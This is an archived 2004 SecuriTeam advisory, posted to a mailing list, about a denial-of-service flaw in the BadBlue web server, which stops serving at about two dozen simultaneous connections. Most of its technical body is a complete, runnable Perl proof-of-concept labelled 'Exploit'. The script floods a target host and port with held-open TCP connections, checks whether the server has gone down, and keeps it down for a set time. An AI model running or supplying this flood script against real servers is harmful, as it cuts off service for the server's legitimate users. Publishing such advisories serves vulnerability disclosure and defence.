[NT] BadBlue Web Server DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 08/25/04

  • Next message: SecuriTeam: "[NEWS] Yahoo! E-Mail Service Inadequate ActiveX Blocking" 
    To: list@securiteam.com
Date: 25 Aug 2004 16:32:59 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      BadBlue Web Server DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.badblue.com/> BadBlue "shares files directly from your own
    PC, using the cable /DSL/broadband/dialup connection you already paid for!
    BadBlue lets you run a no-hassle Web site on your own PC for free,
    including a domain name you can choose. Within seconds, you can transform
    your PC into a friendly, file sharing Web server with all the power of a
    real server on the Internet. Remote users can search for files, explore
    your shared folders, and run full-blown applications created in HTML, PHP,
    Perl, and so on".

    The BadBlue web server does not handle many concurrent connections
    properly, which makes it vulnerable to a simple denial of service.

    DETAILS

    Vulnerable Systems:
     * BadBlue webserver version 2.5, possibly prior

    BadBlue web server cannot handle multiple connections from the same host,
    and will deny all access to any users at right around twenty-four
    simultaneous connections. A proof of concept Perl code that will perform
    this is presented below. The code floods the target server with
    connections and keeps them open, effectively blocking all other traffic to
    the server.

    Exploit:
    #!/usr/bin/perl
    ##############################################################
    # BadBlue v2.52 Web Server - Multiple Connections DoS POC Code
    ##############################################################
    # BadBlue Web Server can not handle many simultaneous connects
    # from the same host, and will lock up until the connects stop
    ##############################################################
    # This Proof Of Concept Written By GulfTech Security Research
    ##############################################################
     
      use Strict;
      use Socket;
      use IO::Socket;

      my $host = $ARGV[0];
      my $port = $ARGV[1];
      my $stop = $ARGV[2];
      my $size = 1000;
      my $prot = getprotobyname('tcp');
      my $slep = $ARGV[3];

    printf("================================================\n");
    printf(" BadBlue v2.52 Web Server Denial Of Service POC \n");
    printf("================================================\n");
    printf("[*] Making %d Connections To %s \n", $stop , $host);

    for ($i=1; $i<$stop; $i++)
    {
      socket($i, PF_INET, SOCK_STREAM, $prot );
      my $dest = sockaddr_in ($port, inet_aton($host));
      connect($i, $dest);
    }

      CheckServer($host, $i, $slep, $stop);
      KillThreads($stop);
      printf("[*] Exploit Attempt Unsuccesful");
      exit;

    sub CheckServer($host, $i, $slep, $stop) {
       ($host, $i, $slep, $stop) = @_;
       $blank = "\015\012" x 2;
       $request = "GET / HTTP/1.0".$blank;
       $remote = IO::Socket::INET->new( Proto => "tcp",
                                         PeerAddr => $host,
                                         PeerPort => $port,
                                         Timeout => '10000',
                                         Type => SOCK_STREAM,
                                       );
       print $remote $request;
       unless ( <$remote> )
       {
          printf("[*] Host %s Has Been Successfully DoS'ed\n", $host);
          printf("[*] The Host Will Be Down For %d Seconds\n", $slep);
          sleep($slep);
          KillThreads($stop);
          exit;
       }
    }

    sub KillThreads($stop) {
    $stop = @_;
    printf("[*] Killing All active Connections");
    for ($l=1; $l<$stop; $l++) {
       shutdown($l,2)|| die("Couldn't Shut Down Socket");
       $l++;
     }
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:security@gulftech.org>
    GulfTech Security.
    The original article can be found at:
    <http://www.gulftech.org/?node=research&article_id=00042-08202004>
    http://www.gulftech.org/?node=research&article_id=00042-08202004

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NEWS] Yahoo! E-Mail Service Inadequate ActiveX Blocking"

    Relevant Pages